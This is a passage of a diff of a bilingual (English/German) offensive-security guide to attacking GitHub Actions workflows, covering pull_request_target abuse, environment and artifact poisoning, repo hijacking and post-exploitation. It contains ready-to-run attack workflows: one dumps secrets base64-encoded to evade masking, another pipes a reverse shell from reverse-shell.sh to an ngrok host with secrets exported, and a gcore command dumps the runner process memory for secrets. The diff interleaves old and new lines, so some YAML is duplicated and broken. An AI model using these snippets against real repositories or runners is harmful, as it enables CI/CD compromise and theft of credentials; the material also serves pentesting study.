Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise **bösartige Artefakte hochladen**, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das `GITHUB_TOKEN` gibt.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext **ausgeführt wird** (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der in der **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
Und dieser hat **Zugriff auf Geheimnisse**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er `completed`, `requested` oder `in_progress` ist.
|
||||
|
||||
In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach dem Abschluss des separaten "Run Tests"-Workflows ausgeführt wird:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow nicht**.
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
|
||||
Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die ihn **anfällig für RCE** macht.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der vom Ursprung oder vom geforkten PR ist
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Missbrauch von geforkter Ausführung
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Nicht vertrauenswürdige Checkout-Ausführung
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](./#pull_request) ausgeführt.
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
Im Fall eines Workflows, der **`pull_request_target` oder `workflow_run`** verwendet und von einem Workflow abhängt, der von **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem ursprünglichen Repo ausgeführt, sodass der **Angreifer den ausgeführten Code nicht kontrollieren kann**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> Wenn die **Aktion** jedoch einen **expliziten PR-Checkout** hat, der **den Code vom PR** (und nicht von der Basis) **holt**, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># UNSICHER. Nur als Beispiel angegeben.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build und Test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Danke!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und die referenzierten **Pakete vom Autor des PR** kontrolliert werden.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: `event.pull_request pull_request_target extension:yml`, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (wie die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Kontext-Skript-Injektionen <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV-Skript-Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
Aus den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Anfällige Drittanbieter-GitHub-Aktionen
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Wie in [**diesem Blogbeitrag**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
Das Problem ist, dass, wenn der **`path`**-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
|
||||
|
||||
Beispiel eines anfälligen Workflows:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
Dies könnte mit diesem Workflow angegriffen werden:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## Anderer externer Zugriff
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### Gelöschte Namespace-Repo-Hijacking
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository **weniger als 100 Sterne vor der Namensänderung hatte**, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **Repository mit demselben Namen** wie das gelöschte zu erstellen.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
## Repo-Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
|
||||
|
||||
### Cache Poisoning
|
||||
### Cache-Poisoning
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### Artifact-Poisoning
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, zu **kompromittieren**, das später von einem anderen Workflow verwendet wird, könnte er die **anderen Workflows kompromittieren**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## Post-Exploitation von einer Aktion
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Zugriff auf AWS und GCP über OIDC
|
||||
|
||||
Check the following pages:
|
||||
Überprüfen Sie die folgenden Seiten:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Zugriff auf Geheimnisse <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- Wenn das Geheimnis oder Token auf eine **Umgebungsvariable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** zugegriffen werden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Geheimnisse in der Github Action-Ausgabe auflisten</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- Wenn das Geheimnis **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Bei einer **benutzerdefinierten Aktion** kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem **Argument** erhalten hat:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Missbrauch von selbst gehosteten Runnern
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
**Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
|
||||
|
||||
Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Überprüfen Sie [**diesen Beitrag für weitere Informationen**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
|
||||
Ein Beispiel finden Sie im folgenden ausklappbaren Bereich:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.
|
||||
|
||||
Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Dann könnte der Benutzer nach **geleakten Geheimnissen in den Docker-Image-Schichten suchen:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Sensible Informationen in Github Actions-Protokollen
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **erkennen** und **zu vermeiden**, dass sie angezeigt werden, werden **andere sensible Daten**, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein mit einem Geheimwert signiertes JWT nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## Spuren verwischen
|
||||
|
||||
